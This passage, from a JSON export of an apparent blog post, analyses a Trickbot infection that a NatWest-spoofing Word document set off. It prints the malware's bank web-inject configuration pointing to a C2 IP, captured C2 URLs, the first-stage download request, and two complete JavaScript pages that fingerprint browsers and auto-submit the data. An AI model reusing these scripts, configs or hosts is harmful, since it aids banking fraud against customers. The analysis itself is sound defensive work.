t;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n:\/\/corporate.santander.co.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/corporate.santander.co.uk\/LOGSCU_NS_ENS*&lt;\/sm&gt;\r\n&lt;nh&gt;obsamphtznlewckfbauqgvsrodxy.com&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/leumionline.bankleumi.co.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/leumionline.bankleumi.co.uk*&lt;\/sm&gt;\r\n&lt;nh&gt;ohsaotjprgfakvxwulnyqzdsechm.com&lt;\/nh&gt;\r\n&lt;url404&gt;\/my.policy&lt;\/\r\nsrv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/onlinebusiness.lloydsbank.co.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/onlinebusiness.lloydsbank.co.uk\/business*&lt;\/sm&gt;\r\n&lt;nh&gt;absad\r\nyjntuewxhzvfo.com&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/s2b.standardchartered.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/s2b.standardchartered.com\/ssoapp\/login\r\n&lt;nh&gt;rdsamhxbjqfidyonavurlgtzwkes.com&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/cmo.cibc.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/cmo.cibc.com*&lt;\/sm&gt;\r\n&lt;nh&gt;cdsask\r\ngyqmnizcalhx.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/www.anztransactive.anz.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/www.anztransactive.anz.com\/*&lt;\/sm&gt;\r\n&lt;nh\r\nyvkdfjoblezxtiwsuhc.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/bbonline.banksa.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/bbonline.banksa.com.au\/html\/cbank.a\r\n&lt;nh&gt;rrsalxeyfboznkgajwvspmturqdh.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/ibs.bankwest.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/ibs.bankwest.com.au\/BWLogW\r\nx*&lt;\/sm&gt;\r\n&lt;nh&gt;rqsaceayxbnfhvuqdswplmkzjtoi.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/netteller2.tsw.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/netteller2.tswZ\r\nlphi\/ntv451.asp*&lt;\/sm&gt;\r\n&lt;nh&gt;rhsaevfyuirhsbnzakxpdtlmocgq.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/businessonline.westpac.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;M\r\nsinessonline.westpac.com.au\/esis\/Login\/SrvPage*&lt;\/sm&gt;\r\n&lt;nh&gt;rssamvybridtxocunwpaqlhzgefs.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/online.corp\r\ncom.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/online.corp.westpac.com.au\/*&lt;\/sm&gt;\r\n&lt;nh&gt;rksalhodzprnvuqxsfgmkyeictja.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/www{\r\niz.commbank.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/www?.my.commbiz.commbank.com.au\/Logon\/UserMaintenance\/Login.aspx*&lt;\/sm&gt;\r\n&lt;nh&gt;qosaxuavegqkomtyndjzcbplhisw.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.1n\r\n\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/bbonline.bankofmelbourne.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/bbonline.bankofmelbourne.com.au\/html\/login.aspx*&lt;\/sm&gt;\r\n&lt;nh&gt;qasasidoqpfhrgwykvan\r\nrg&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/banking.lloydsbank.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/banking.lloydsbank.com\/Logon*&lt;\/sm&gt;\r\n&lt;nh&gt;qrsacdptvluyojma\r\nqn.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/bank.ruralbank.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/bank.ruralbank.com.au\/banking\/RBLIBanking*&lt;\/sm&gt;\r\n&lt;nh&gt;\r\nsehzibcgvxmykapwul.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/nabconnect*.nab.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/nabconnect*.nab.com.au\/auth\/nabclogi2\r\n*&lt;\/sm&gt;\r\n&lt;nh&gt;qksaiwgxsdkcmtqrhynvbopzaejf.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/ib.tmbank.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/ib.tmbank.com.au\/ib\/%\r\nin.aspx*&lt;\/sm&gt;\r\n&lt;nh&gt;hosajempfozwnqlxgcbrdthivuas.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/digital.defencebank.com.au*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/dig(\r\ncebank.com.au*&lt;\/sm&gt;\r\n&lt;nh&gt;hbsajlhrugctfpyavoqmwnbedkzi.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/velocity.ocbc.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/veloci\r\nm\/portal.view*&lt;\/sm&gt;\r\n&lt;nh&gt;hksazewovfilhjutxcmdybsqkang.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/uniservices2.uobgroup.com*&lt;\/mm&gt;\r\n&lt;sm&gt;https:\r\nces2.uobgroup.com\/ELO\/login.jsp*&lt;\/sm&gt;\r\n&lt;nh&gt;sosanehiqtckfxzrdjglsomvubay.org&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/sg.bibplus.uobgroup.com*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/sg.bibplus.uobgroup.com\/BIB\/pu<\/pre>\n<p>It was here that I noticed something in the block of XML above. For example, take this block.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;sinj&gt;\r\n&lt;mm&gt;http:\/\/bank.\r\no.uk*&lt;\/mm&gt;\r\n&lt;sm&gt;http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action*&lt;\/sm&gt;\r\n&lt;nh&gt;kbsavjthsyofzqnpburdxgciweam.net&lt;\/nh&gt;\r\n&lt;srv&gt;210.16.101.54:443&lt;\/srv&gt;\r\n&lt;\/sinj&gt;<\/pre>\n<p>There is the URL for Barclays bank, under it is another domain that looks to be dynamically generated or something along with an IP address of 210.16.101.54 over port 443 (HTTPS). This IP address belongs to an Scalebuzz Solutions Pvt LTD in India (<a href=\"http:\/\/www.robtex.com\/ip-lookup\/210.16.101.54\" target=\"_blank\">http:\/\/www.robtex.com\/ip-lookup\/210.16.101.54<\/a>). This IP address is found in all the listings under the banks URLs as well. So I opened up Chrome on my still infected VM all the while Process Explorer was still running off to the side. It was there that I noticed that Chrome was now running under a svchost.exe process and not by itself as one would expect.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/chrome.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/chrome.png\" alt=\"\" width=\"1916\" height=\"950\" class=\"aligncenter size-full wp-image-952\" \/><\/a><\/p>\n<p>So I decided to test a theory. Was the weird dynamically generated URL under the bank&#8217;s URL an actual valid domain and would the svchost process intercept the request to the bank&#8217;s URL and use the dynamically generated domain instead? So I went to &#8220;http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action&#8221; with Wireshark running to see if this theory was correct. Interestingly enough, there were no DNS calls made to that weird domain, but there was a lot of calls made to the IP address of 210.16.101.54 over HTTPS. I did try this with a couple of other domains and it seems that the behavior is the same across the board. So at this time I am not sure what the weird domain name is used for. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Wireshark.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Wireshark.png\" alt=\"\" width=\"1874\" height=\"392\" class=\"aligncenter size-full wp-image-967\" \/><\/a><\/p>\n<p>The other thing that I noticed was that the svchost processes that were running on the system (in particular the svchost process running Chrome) had the &#8220;winapp&#8221; directory as the &#8220;Current Directory&#8221; and that the &#8220;Autostart Location&#8221; was different. Looking at some of the other svchost processes, it looks like that the &#8220;normal&#8221; svchost.exe process would have nothing listed in &#8220;Command Line&#8221; or in &#8220;Current Directory.&#8221;<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Chrome-svchost.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/Chrome-svchost.png\" alt=\"\" width=\"887\" height=\"587\" class=\"aligncenter size-full wp-image-953\" \/><\/a><\/p>\n<p>Some other interesting bits and bobs that I was able to find in the strings log were:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nhttp:\/\/84.40.65.85:449\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\nC:\\Windows\\system32\\bcryptprimitives.dll\r\ntps:\/\/84.40.65.85:449\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\n22A614A838823E6C56C298BA9B92D123244998EA0799A219814750D9320D5F5F\r\n\r\n-----\r\n\r\nhttp:\/\/84.40.65.85:449\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\nC:\\Users\\Bill\\AppData\\Roaming\\winapp;.;C:\\Windows\\system32;C:\\Windows\\system;C:\\Windows;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\\r\n\/kas3\/BILL-PC_W617601.ABDA76321D1B05B88228B05AD1BF97F2\/5\/spk\/\r\n36\r\n\r\n-----\r\n\r\ncheckip.amazonaws.com\r\nxxGY\r\n0h6w\r\nxxGY\r\nQS&#x5B;\\\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\ncheckip.amazonaws.com\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\neast-1.elb.amazonaws.com\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\ncheckip.amazonaws.com\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\n173.244.48.143\r\n\r\n-----\r\n\r\ncheckip-elb-1947732551.us-east-1.elb.amazonaws.com\r\ncheckip.amazonaws.com\r\nP&lt;Ew\r\nWHRB\r\nHTTP\/1.1 200 OK\r\nDate: Thu, 31 Aug 2017 10:59:09 GMT\r\nServer: lighttpd\/1.4.41\r\nContent-Length: 15\r\nConnection: keep-alive\r\n\r\n173.244.48.143<\/pre>\n<p>I also managed to find the Javascript that Trickbot uses to gather information about browser configurations as mentioned by MalwareBytes which sends the information back to the malware:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;script type=&quot;text\/javascript&quot;&gt;\r\nfunction ahead()\r\n{\r\n  objs = new Array(&#x5B;navigator, &quot;navigator&quot;], &#x5B;screen, &quot;screen&quot;]);\r\n  str = new String(&quot;&quot;);\r\n\r\n  for(i = 0; i&lt;objs.length; i++) {\r\n    for(var prop in objs&#x5B;i]&#x5B;0]) {\r\n      val = objs&#x5B;i]&#x5B;0]&#x5B;prop];\r\n      if(val === &quot;&quot;)\r\n        if(objs&#x5B;i]&#x5B;1] == &quot;screen&quot;) val = 0;\r\n        else val = '&quot;&quot;';\r\n      if(typeof(val) == 'object' &amp;&amp; val != null)\r\n        st = &quot;&#x5B;object]&quot;;\r\n      else\r\n        st = String(val);\r\n      \/\/if(st&#x5B;0] == 'f') break;\r\n      st = st.replace(\/\\n|\\r\/g, &quot;&quot;);\r\n      str += objs&#x5B;i]&#x5B;1] + &quot;.&quot; + prop + &quot; = &quot; + st + &quot;\\n&quot;;\r\n    }\r\n  }\r\n  \/\/plugins\r\n  str += &quot;plugins.hide = true\\n&quot;;\r\n  var plugN = navigator.plugins.length;\r\n  for(i = 0; i &lt; plugN; i++) {\r\n    for(var atr in navigator.plugins&#x5B;i]) {\r\n      str += &quot;plugins.&quot; + (i + 1) +  &quot;.&quot; + atr + &quot; = &quot; +\r\n             String(navigator.plugins&#x5B;i]&#x5B;atr]).replace(\/\\n|\\r\/g,&quot;&quot;) + &quot;\\n&quot;;\r\n    }\r\n  }\r\n  var d = new Date();\r\n  str += &quot;timezone = &quot; + d.getTimezoneOffset() + &quot;\\n&quot;;\r\n\r\n  str+='navigator.javaEnabled()='+navigator.javaEnabled().toString()+'\\n';\r\n  var ua = navigator.userAgent;\r\n  var ie = ua.indexOf('msie')&gt;=0 || ua.indexOf('Trident')&gt;=0;\r\n  if(ie) {\r\n    document.getElementById('ie').value = 'sux';\r\n    str+='xie.ScriptEngineBuildVersion()='+String(ScriptEngineBuildVersion())+'\\n';\r\n  } else {\r\n    str+='xie.ScriptEngineBuildVersion()=\\n';\r\n  }\r\n  textedit = document.getElementById(&quot;data&quot;);\r\n  textedit.value = str;\r\n}\r\n\r\n&lt;\/script&gt;\r\n&lt;\/head&gt;\r\n&lt;body&gt;\r\n &lt;form name=&quot;frm&quot; action=&quot;marker_&quot; method=&quot;post&quot;&gt;\r\n &lt;textarea id=&quot;data&quot; name=&quot;values&quot; cols=&quot;100&quot; rows=&quot;20&quot;&gt;\r\n\r\n &lt;\/textarea&gt;&lt;br&gt;\r\n &lt;input id=&quot;ie&quot; name=&quot;ie&quot; type=&quot;hidden&quot;&gt;\r\n &lt;input type=&quot;submit&quot; value=&quot;send&quot; &gt;\r\n &lt;\/form&gt;\r\n &lt;script&gt;ahead();frm.submit()&lt;\/script&gt;\r\n&lt;\/body&gt;\r\n&lt;\/html&gt;\r\n\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=10&quot;&gt;\r\n&lt;script type=&quot;text\/javascript&quot;&gt;\r\nfunction ahead()\r\n{\r\n  var str = new String('');\r\n  try{\r\n  var components = new Array(\r\n      '7790769C-0471-11D2-AF11-00C04FA35D02',\r\n      '89820200-ECBD-11CF-8B85-00AA005B4340',\r\n      '47F67D00-9E55-11D1-BAEF-00C04FC2D130',\r\n      '76C19B38-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B34-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B33-F0C8-11CF-87CC-0020AFEECF20',\r\n      '9381D8F2-0288-11D0-9501-00AA00B911A5',\r\n      '4F216970-C90C-11D1-B5C7-0000F8051515',\r\n      '283807B5-2C60-11D0-A31D-00AA00B92C03',\r\n      '44BBA848-CC51-11CF-AAFA-00AA00B6015C',\r\n      '76C19B36-F0C8-11CF-87CC-0020AFEECF20',\r\n      '89820200-ECBD-11CF-8B85-00AA005B4383',\r\n      '5A8D6EE0-3E18-11D0-821E-444553540000',\r\n      '630B1DA0-B465-11D1-9948-00C04F98BBC9',\r\n      '08B0E5C0-4FCB-11CF-AAA5-00401C608555',\r\n      '45EA75A0-A269-11D1-B5BF-0000F8051515',\r\n      'DE5AED00-A4BF-11D1-9948-00C04F98BBC9',\r\n      '76C19B30-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B31-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B50-F0C8-11CF-87CC-0020AFEECF20',\r\n      'D27CDB6E-AE6D-11CF-96B8-444553540000',\r\n      '2A202491-F00D-11CF-87CC-0020AFEECF20',\r\n      '5945C046-LE7D-LLDL-BC44-00C04FD912BE',\r\n      '22D6F312-B0F6-11D0-94AB-0080C74C7E95',\r\n      '3AF36230-A269-11D1-B5BF-0000F8051515',\r\n      '44BBA840-CC51-11CF-AAFA-00AA00B6015C',\r\n      '44BBA842-CC51-11CF-AAFA-00AA00B6015B',\r\n      '76C19B32-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B35-F0C8-11CF-87CC-0020AFEECF20',\r\n      'CC2A9BA0-3BDD-11D0-821E-444553540000',\r\n      '3BF42070-B3B1-11D1-B5C5-0000F8051515',\r\n      '10072CEC-8CC1-11D1-986E-00A0C955B42F',\r\n      '76C19B37-F0C8-11CF-87CC-0020AFEECF20',\r\n      '08B0E5C0-4FCB-11CF-AAA5-00401C608500',\r\n      '4F645220-306D-11D2-995D-00C04F98BBC9',\r\n      '73FA19D0-2D75-11D2-995D-00C04F98BBC9'\r\n      );\r\n  document.body.addBehavior('#default#clientCaps');\r\n  for (i = 0; i &lt; components.length; i++)\r\n  {\r\n    var ver = document.body.getComponentVersion('{'+components&#x5B;i]+'}','ComponentID');\r\n    if (ver)\r\n    {\r\n      p=String(i+1);\r\n      str+='xie.com.'+p+'.guid='+'{'+components&#x5B;i]+'}\\n';\r\n      str+='xie.com.'+p+'.version='+ver+'\\n';\r\n    }\r\n  }\r\n  } catch(e){\r\n    str='exept=true';\r\n  }\r\n  textedit = document.getElementById('data');\r\n  textedit.value = str;\r\n}\r\n&lt;\/script&gt;\r\n&lt;\/head&gt;\r\n&lt;body&gt;\r\n&lt;form name=&quot;frm&quot; action=&quot;marker_&quot; method=&quot;post&quot;&gt;\r\n&lt;textarea id=&quot;data&quot; name=&quot;values&quot; cols=&quot;100&quot; rows=&quot;20&quot;&gt;\r\n\r\n&lt;\/textarea&gt;&lt;br&gt;\r\n&lt;input type=&quot;submit&quot; value=&quot;send&quot; &gt;\r\n&lt;\/form&gt;\r\n&lt;script&gt;ahead();frm.submit()&lt;\/script&gt;\r\n&lt;\/body&gt;\r\n&lt;\/html&gt;\r\n\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;\/head&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;&lt;\/script&gt;\r\n&lt;\/body&gt;\r\n&lt;\/html&gt;\r\n\r\n&lt;!DOCTYPE html&gt;\r\n&lt;html&gt;\r\n&lt;head&gt;\r\n&lt;\/head&gt;\r\n&lt;body&gt;\r\n&lt;script&gt;close();&lt;\/script&gt;\r\n&lt;\/body&gt;\r\n&lt;\/html&gt;<\/pre>\n<p>From a network traffic perspective, the initial compromise stems from the Word document reaching out via the script to the site of campuslinne[.]com\/pages\/kasaragarban[.]png and downloading a malicious binary.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/pages\/kasaragarban.png HTTP\/1.1\r\nHost: campuslinne.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Wed, 30 Aug 2017 12:55:41 GMT\r\nServer: Apache\r\nLast-Modified: Wed, 30 Aug 2017 06:49:01 GMT\r\nETag: &quot;500ae7-74400-557f2ec43a91b&quot;\r\nAccept-Ranges: bytes\r\nContent-Length: 476160\r\nX-Powered-By: PleskLin\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: image\/png\r\n\r\nMZ......................@.............................................\t.!..L.!This program cannot be run in DOS mode.<\/pre>\n<p>Once the binary has executed, we see a call to get the external IP address of my host.<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/ HTTP\/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/57.0.2987.133 Safari\/537.36\r\nHost: api.ipify.org\r\n\r\nHTTP\/1.1 200 OK\r\nServer: Cowboy\r\nConnection: keep-alive\r\nAccess-Control-Allow-Origin: *\r\nContent-Type: text\/plain\r\nDate: Wed, 30 Aug 2017 12:55:57 GMT\r\nContent-Length: 13\r\nVia: 1.1 vegur\r\n\r\n173.244.48.13<\/pre>\n<p>From here, we start to see some different callbacks being made over the network. Calls made to the IP address of 5.2.76.34 seem to have died since there was an ICMP Type 11 Code 0 for all those requests. All requests that I have seen over port 449 look to be encrypted. For example:<\/p>\n<pre class=\"brush: plain; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n.....\t.\r\n.2.8..............\r\n..................Y...U.....i.Si..\/qq....zo.k....0P...... ....9.0g....LK3..v.N..O&amp;s..LZ.......\r\n.................U...Q..N..K0..G0....\t...(..R..0\r\n.\t*.H..\r\n.....0h1.0\t..U....AU1.0\r\n..U....f2tee41.0...U....gf23et65adt1.0...U.\r\n..tg4r6tds1.0\r\n..U....rst1.0...U....rvgvtfdf0..\r\n170607185419Z.\r\n180607185419Z0h1.0\t..U....AU1.0\r\n..U....f2tee41.0...U....gf23et65adt1.0...U.\r\n..tg4r6tds1.0\r\n..U....rst1.0...U....rvgvtfdf0..0\r\n.\t*.H..\r\n.........0........c....@.dy.....o.f.;.f..@.....Fj......&quot;......\r\n.L.\r\n.V.......C&#x5B;&amp;?&quot;q:...fm..#.3.....6~..h#p........=\r\nVV....7.-......-....u.^h..........0\r\n.\t*.H..\r\n..........WFnG..;Y.c...J...L2._..:5zh.2....+.)'X;.q.\/a..,&lt;,,...i.....\r\n..Ss.....=.KpyM....*....y..0.-...p.~.$.o.f....y3\/....$...u...:.H.].............A.......jq...?.uhf\/......d...&lt;Z.5=C....Rn.e..ZNS.&#x5B;8...).r8..\/#.&lt;......Y...R...y..W.....t.&lt;.......p.5~.....@....Jx.s4.....e..m..0.G+.s.}:)....\r\n7......u..P}FP=x+.....zu...Fxcq.b.h7.P...Q.6.V...=\r\n................F...BA.B.0.].6.{.`e\r\n..l...^YB:....@a]...&gt;......{..&quot;..RQQ.xA....'ew...z...........0.N..kl.J.p0....z..Vi....\\....aj.....Z.(..&amp;.....L..........0y.&amp;.C..f6.&#x5B;.h..]e....o.C.s.bG.&#x5B;DEf.l.}$.HZ$...J..... ..h.......Ys}.w.(d..9-....l.a....\r\n...kJ...5.&gt;...b..R..p..E..(.,....%..k.Q.e..0..3.h.N....OO..u.U.&#x5B;...6Q^.A....`.#h.2....9.`A=xx....8...|.....o=..S......f=&lt;...Z..1?&amp;..p.N..O..Q)...Ar.]..2..L.-..- T.v\tGm.\r\n.R.u......&#x5B;...8.s.j2.j.]NA....!....n..Q..j....*u..'.IEE..cB.'ELR.E*.X.UXZ9A..\t$...,^........cQ2.D.......Y.|=....SO&lt;..Z..&quot;x.3.N..m.q..O~.g.e.&#x5B;Uj....M`2.7..L......qC. . .......q+%Z..5...W....\\..&quot;....100....8..Y&quot;.E(r.#r........6.;2......\t&lt;.....uQ.!...K.'.Z..F.)..$.0w.A.... .R..Q9...ku......J..VC.L..W4..i..... ,8............n...I.m....}.IR].u<\/pre>\n<p>And like I stated above &#8211; whenever visiting a site that is listed in the XML above (ie: http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action) there is encrypted traffic to the IP address of 210.16.101.54.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/chrome2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/chrome2.png\" alt=\"\" width=\"1917\" height=\"950\" class=\"aligncenter size-full wp-image-954\" \/><\/a><\/p>\n<p>I also noticed that after a couple of reboots since my VM was acting up, I started to get some other callbacks on ports that I had not seen before. For example these three requests:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/wireshark2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/wireshark2.png\" alt=\"\" width=\"1801\" height=\"949\" class=\"aligncenter size-full wp-image-968\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/wireshark4.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/wireshark4.png\" alt=\"\" width=\"1906\" height=\"952\" class=\"aligncenter size-full wp-image-970\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/wireshark3.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/wireshark3.png\" alt=\"\" width=\"1915\" height=\"952\" class=\"aligncenter size-full wp-image-969\" \/><\/a><\/p>\n<p>The above looks to be possibly related to the Pony gate based on the &#8220;\/gate.php?clientid=[a long string].&#8221;<\/p>\n<p>Another odd thing that I noticed was that some DNS requests for &#8220;changetheworld.bit&#8221; was using TCP instead of UDP and using different DNS servers as well which is something that I have not seen before.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/TCP-DNS.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/08\/TCP-DNS.png\" alt=\"\" width=\"1918\" height=\"952\" class=\"aligncenter size-full wp-image-966\" \/><\/a><\/p>\n<p>At this point, I am going to conclude this post and pick this up tomorrow and look at the new PCAP and VM as it seems that I have received an update. Until then&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>For today&#8217;s post, I will be looking at a malicious Word document that we got spoofing NatWest which led to Trickbot malware being installed on the system. After I found this sample, I started to see posts on Tweeter from people like @dvk01uk and @VK_Intel posting about Trickbot. For this initial investigation there are three PCAPs since I initially did not see much going on after the initial infection, and then after a couple of minutes I started to see more traffic and fired up Wireshark again to see what I could capture. The last one is from when I&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=949\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[13],"class_list":["post-949","post","type-post","status-publish","format-standard","hentry","category-packet-analysis","tag-trickbot"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/949","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":